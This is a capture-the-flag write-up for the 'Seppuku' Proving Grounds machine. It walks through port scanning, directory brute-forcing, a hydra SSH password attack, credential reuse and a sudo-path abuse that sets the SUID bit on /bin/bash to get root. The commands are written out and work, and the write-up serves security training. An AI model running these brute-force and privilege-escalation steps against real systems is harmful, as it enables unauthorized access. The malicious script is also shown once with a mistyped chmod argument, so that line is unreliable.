

Seppuku | Write-up

Difficulty: Easy

Platform: Proving Ground Play

Operating System: Linux

Target IP:

Date Completed: 16-02-2026

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Objectives

- User Flag
- Root Flag

Initial Foothold

Port & Service Scan :

Scanned the machine for open ports running services facing public network.

🔗 Command : NMAP SCAN

```
sudo nmap 192.168.158.90 -sCV -oN nmap-scan --min-rate=300
```

```

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 3.0.3
22/tcp    open  ssh          OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 cd:55:a8:e4:0f:28:bc:b2:a6:7d:41:76:bb:9f:71:f4 (RSA)
|   256 16:fa:29:e4:e0:8a:2e:7d:37:d2:6f:42:b2:dc:e9:22 (ECDSA)
|_  256 bb:74:e8:97:fa:30:8d:da:f9:5c:99:f0:d9:24:8a:d5 (ED25519)
80/tcp    open  http         nginx 1.14.2
|_ http-title: 401 Authorization Required
| http-auth:
|   HTTP/1.1 401 Unauthorized\x00
|_  Basic realm=Restricted Content
|_ http-server-header: nginx/1.14.2
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
7080/tcp  open  ssl/empowerid LiteSpeed
|_ tls-alpn:
|   h2
|   spdy/3
|   spdy/2
|_  http/1.1
|_ http-server-header: LiteSpeed
|_ ssl-date: TLS randomness does not represent time
|_ http-title: Did not follow redirect to https://192.168.158.90:7080/
|_ ssl-cert: Subject: commonName=seppuku/organizationName=LiteSpeedCommunity/stateOrProvinceName=NJ/countryName=US
| Not valid before: 2020-05-13T06:51:35
|_ Not valid after: 2022-08-11T06:51:35
7601/tcp  open  http         Apache httpd 2.4.38 ((Debian))
|_ http-server-header: Apache/2.4.38 (Debian)
|_ http-title: Seppuku
8088/tcp  open  http         LiteSpeed httpd
|_ http-title: Seppuku
|_ http-server-header: LiteSpeed
Service Info: Host: SEPPUKU; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   3.1.1:
|_  Message signing enabled but not required
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: seppuku
|   NetBIOS computer name: SEPPUKU\x00
|   Domain name: \x00
|   FQDN: seppuku
|_  System time: 2026-02-16T03:56:54-05:00
| smb2-time:
|   date: 2026-02-16T08:56:53
|_  start_date: N/A
|_ clock-skew: mean: 1h39m59s, deviation: 2h53m13s, median: 0s

```

The scan revealed multiple open services. The target machine is suspected to be running `debian` operating system on it .

Service Enumeration :

In Enumeration of port 7601 which was running http service. While directory brute-force to list all potential directories , several interesting directories were listed.

🔗 Command : Directory Brute forcing

```
gobuster dir -u http://192.168.158.90:7601 -w
/usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-
2007_directory-list-2.3-medium.txt -o gobuster.root-7601
```

```
> cat gobuster.root-7601
b      (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/b/]
a      (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/a/]
c      (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/c/]
t      (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/t/]
r      (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/r/]
d      (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/d/]
f      (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/f/]
e      (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/e/]
h      (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/h/]
w      (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/w/]
q      (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/q/]
database (Status: 301) [Size: 326] [--> http://192.168.158.90:7601/database/]
production (Status: 301) [Size: 328] [--> http://192.168.158.90:7601/production/]
keys      (Status: 301) [Size: 322] [--> http://192.168.158.90:7601/keys/]
secret    (Status: 301) [Size: 324] [--> http://192.168.158.90:7601/secret/]
stg       (Status: 301) [Size: 321] [--> http://192.168.158.90:7601/stg/]
server-status (Status: 403) [Size: 281]
```

The directory `/secret` seemed to contain , many interesting files.

← → ↻ 🏠 Not Secure http://192.168.158.90:7601/secret/

Index of /secret

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
📁 Parent Directory		-	
📄 hostname	2020-05-13 03:41	8	
🖼️ jack.jpg	2018-09-12 03:49	58K	
📄 passwd.bak	2020-05-13 03:47	2.7K	
📄 password.lst	2020-05-13 03:59	672	
📄 shadow.bak	2020-05-13 03:48	1.4K	


Apache/2.4.38 (Debian) Server at 192.168.158.90 Port 7601




the file `hostname` contained the hostname of the machine, the file `password.lst` contained a list of potential passwords.

← → ↻ 🏠 Not Secure http://192.168.158.90:7601/secret/hostname

seppuku

Another directory named `keys` seems to contain `ssh` keys of the a user, the key does not have a password , validated by `ssh2john` script.



Name	Last modified	Size	Description
 Parent Directory		-	
 private	2020-05-13 05:28	1.6K	
 private.bak	2020-05-13 05:28	1.6K	

Tried multiple credentials gathered against other services and found a successful session on target machine via `ssh` service as user `seppuku`.

🔗 Brute Force Service

```
hydra -l 'seppuku' -P psk ssh://192.168.158.90
```

```
> hydra -l 'seppuku' -P psk ssh://192.168.158.90
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or s

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-02-16 19:20:56
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to
[DATA] max 16 tasks per 1 server, overall 16 tasks, 93 login tries (l:1/p:93), ~6 tries per
[DATA] attacking ssh://192.168.158.90:22/
[22][ssh] host: 192.168.158.90 login: seppuku password: eeyoree
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-02-16 19:21:20
```

```
seppuku@seppuku:~$ ssh seppuku@192.168.158.90
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
seppuku@192.168.158.90's password:
Linux seppuku 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
seppuku@seppuku:~$ whoami && id && hostname
seppuku
uid=1000(seppuku) gid=1000(seppuku) groups=1000(seppuku),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
seppuku
seppuku@seppuku:~$ |
```

Privilege Escalation

Technique Used: Malicious binary execution

On System Enumeration , he home directory of the seppuku user contains a `.passwd` file . used them against other user on the system and found a successful session against user samurai.

```
seppuku@seppuku:~$ ls -la
total 32
drwxr-xr-x 3 seppuku seppuku 4096 Feb 16 09:58 .
drwxr-xr-x 5 root     root    4096 May 13  2020 ..
-rw-r--r-- 1 seppuku seppuku  220 May 13  2020 .bash_logout
-rw-r--r-- 1 seppuku seppuku 3526 May 13  2020 .bashrc
drwx----- 3 seppuku seppuku 4096 May 13  2020 .gnupg
-rw-r--r-- 1 seppuku seppuku   33 Feb 16 08:31 local.txt
-rw-r--r-- 1 root     root     20 May 13  2020 .passwd
-rw-r--r-- 1 seppuku seppuku  807 May 13  2020 .profile
seppuku@seppuku:~$ cat .passwd
12345685213456!@!@A
seppuku@seppuku:~$ su samurai
Password:
samurai@seppuku:/home/seppuku$ whoami && id
samurai
uid=1001(samurai) gid=1002(samurai) groups=1002(samurai)
samurai@seppuku:/home/seppuku$
```

on user samurai enumeration , it was found he has the permissions to execute the binary `bin` present in the home directory of user tanto as `sudo`. On further enumeration it was found out that the user tanto contained no such directory. Which makes it vulnerable , if a binary with specified name and in the specified location is created/placed , it will be executed with `sudo` privileges.


```
samurai@seppuku:/home/seppuku$ sudo -l
Matching Defaults entries for samurai on seppuku:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User samurai may run the following commands on seppuku:
  (ALL) NOPASSWD: ../../../../home/tanto/.cgi_bin/bin /tmp/*
```

So , in order to create the required directory and binary we need appropriate permissions on the directory tanto , which likely user tanto would have . so tried to use the key found earlier against tanto user , as the user home directory contained a .ssh directory in it. After changing private.bak permissions , so they can be used to authenticate . Got a successful remote session on target machine as tanto user.

```
.../Desktop/Machines/07-Seppuku
) chmod 600 private.bak

.../Desktop/Machines/07-Seppuku
) ssh tanto@192.168.158.90 -i private.bak
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Linux seppuku 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

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permitted by applicable law.
tanto@seppuku:~$ whoami && hostname && id
tanto
seppuku
uid=1002(tanto) gid=1003(tanto) groups=1003(tanto)
tanto@seppuku:~$ |
```

created a malicious binary and .cgi_bin directory . placed the binary in the directory, and made it executable with chmod +x , so that it gets executed.

🐍 Malicious binary code

```
#!/bin/bash
chmod s+u /bin/bash
```

🔗 Malicious Binary Explanation

Made the binary to execute a command , which will give SUID bit set to the /bin/bash binary , which can be later be exploited to

get root privileges effortlessly.

```
tanto@seppuku:~$ cat .cgi_bin/bin
#!/bin/bash
chmod u+s /bin/bash
tanto@seppuku:~$ chmod +x .cgi_bin/bin
tanto@seppuku:~$ |
```

Executed the command as sudo through Samurai user and as expected our malicious binary got executed with root privileges and SUID bit set was added to bash binary.

```
samurai@seppuku:/home/seppuku$ sudo ../../../../../../home/tanto/.cgi_bin/bin /tmp/*
samurai@seppuku:/home/seppuku$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
samurai@seppuku:/home/seppuku$ |
```

🔗 Command : Spawn root shell

bash -p

```
samurai@seppuku:/home/seppuku$ bash -p
bash-5.0# whoami && id && hostname
root
uid=1001(samurai) gid=1002(samurai) euid=0(root) groups=1002(samurai)
seppuku
bash-5.0#
```

Flags

User: {HIDDEN}

Root: {HIDDEN}

Extra Information

Tools & Techniques Used :

Tool / Technique	Purpose (Machine's Context)
nmap	To scan for open ports & service version
gobuster	directory brute forcing

Tool / Technique	Purpose (Machine's Context)
john	password cracking
linpeas	Automated System Enumeration
Manual Exploitation	-

My Experience :

Machine was easy but quite time taking .
